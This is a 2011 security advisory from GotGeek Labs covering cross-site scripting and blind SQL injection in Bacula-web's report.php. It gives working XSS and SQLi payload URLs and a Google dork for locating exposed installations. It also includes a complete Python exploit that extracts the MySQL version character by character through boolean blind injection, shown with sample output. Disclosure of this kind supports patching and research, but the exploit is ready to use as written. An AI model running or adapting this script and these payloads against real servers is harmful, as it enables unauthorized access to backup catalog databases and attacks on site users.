GotGeek Labs
http://www.gotgeek.com.br/

Bacula-web 1.3.x - 5.0.3 Multiple Remote Vulnerabilities



[+] Description

Bacula-Web is a web based tool that provide you a summarized
view of your bacula director.
It obtain his information from your bacula catalog's database.
It provide some usefull informations such as:
    * Last 24 hours jobs status (completed, failed, waiting, etc.)
    * Medias and Pool usage
    * Last 7 days storage usage

The main advantages of this tool are
    * it's web based, so you can reach it simply through your
      preferred browser from anywhere
    * it's pretty easy to install (you just need a LAMP server with
      a valid Bacula catalog database connection)
    * it contain a lot of information into a single page (have a
      look on your last jobs for example)

This is a fairly high level Bacula management tool.



[+] Information

Title: Bacula-web 1.3.x - 5.0.3 Multiple Remote Vulnerabilities
Google Dork: intitle:bacula-web "Status"
Advisory: gg-004-2011
Date: 02-22-2011
Last update: 03-04-2011
Link: http://www.gotgeek.com.br/pocs/gg-004-2011.txt
Tested on: FreeBSD 7.2-RELEASE + MySQL 5.x



[+] Vulnerabilities

Cross-site Scripting:
Bacula-web is affected by cross-site scripting vulnerability because
it fails to properly sanitize user-supplied input.
An attacker may leverage this issue to execute arbitrary script code
in the browser of an unsuspecting user in the context of the affected site.

XSS:
http://target/bacula/report.php?default=1&server=Backup_inc<script>alert("xss")</script>

Blind SQL Injection:
Bacula-web is also affected by blind SQL injection vulnerability because it fails
to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting these issues could allow an attacker to compromise the
application, access or modify data, or exploit latent vulnerabilities
in the underlying database.

*Blind SQLi:
http://target/bacula/report.php?default=1&server=Backup_inc' and 1='2  #FALSE
http://target/bacula/report.php?default=1&server=Backup_inc' and 1='1  #TRUE

*Need a valid job name at server variable with some data to get false or true page.


Affected Versions:
(1)Bacula-web 5.0.3
(2)Bacula-web 1.38.9_1 (FreeBSD)

Other versions may also be vulnerable.



[+] Proof of Concept/Exploit

# $ python bacula-web.py -t 10.1.1.1 -d /bacula/ -j Backup_inc -p 80
#
# [*] gotgeek labs
# [*] http://gotgeek.com.br
#
#
# [*] Checking report.php...
# [+] Found!
# [*] Let's get MySQL version.. Wait a moment...
# [+] MySQL: 5.0.84
#
# [*]Done!


#!/usr/bin/python
#

import sys
import httplib, socket
import urllib, re
from optparse import OptionParser

# You may also use "MB".. Check your target before!
truestr = "GB"
usage = "./%prog -t <target> -d <dir> -j <job> -p <port>\n"
usage+= "Example: ./%prog -t www.example.com -d /bacula-web/ -j BackupCatalog -p 80"

parser = OptionParser(usage=usage)
parser.add_option("-t", action="store", dest="target",
                  help="target server")
parser.add_option("-d", action="store", dest="dir",
                  help="path to bacula-web")
parser.add_option("-j", action="store", dest="job",
                  help="bacula job name")
parser.add_option("-p", action="store", dest="port",
                  help="server port")
(options, args) = parser.parse_args()

def banner():
    print "\n[*] gotgeek labs"
    print "[*] http://gotgeek.com.br\n\n"

if len(sys.argv) < 5:
    banner()
    parser.print_help()
    sys.exit(1)


def checkurl():
    try:
        print "[*] Checking report.php..."
        conn = httplib.HTTPConnection(options.target+":"+options.port)
        conn.request("GET", options.dir + "report.php")
        r1 = conn.getresponse()
        if r1.status == 200:
            print "[+] Found!"
        else:
            print "[-] NOT Found!\n\n"
            sys.exit(1)
    except socket.error, msg:
        print "[-] Can't connect to the target!\n\n"
        sys.exit(1)


def geturl(sqli):
    try:
        check = urllib.urlopen("http://"+options.target+":"+options.port+options.dir+sqli).read()
    except:
        print "[-] Can't connect to the target!\n\n"
        sys.exit(1)
    return check


def getmysql(gg):
    for i in range(43,58):
        request = ("report.php?default=1&server="+options.job+"'%20and%20ascii(substring(@@version,"+str(gg)+",1))='"+str(i))
        result = geturl(request)
        if re.search(truestr,result):
            gg = gg+1
            sys.stdout.write(chr(i))
            sys.stdout.flush()
            getmysql(gg)
            break



def main():
    gg = 1
    banner()
    checkurl()
    print "[*] Let's get MySQL version.. Wait a moment..."
    sys.stdout.write("[+] MySQL: ")
    getmysql(gg)
    print "\n\n[*]Done!\n\n"

if __name__ == "__main__":
    main()



[+] References

(1)http://bacula-web.dflc.ch/index.php/home.html
(2)http://www.freshports.org/www/bacula-web/



[+] Credits

b0telh0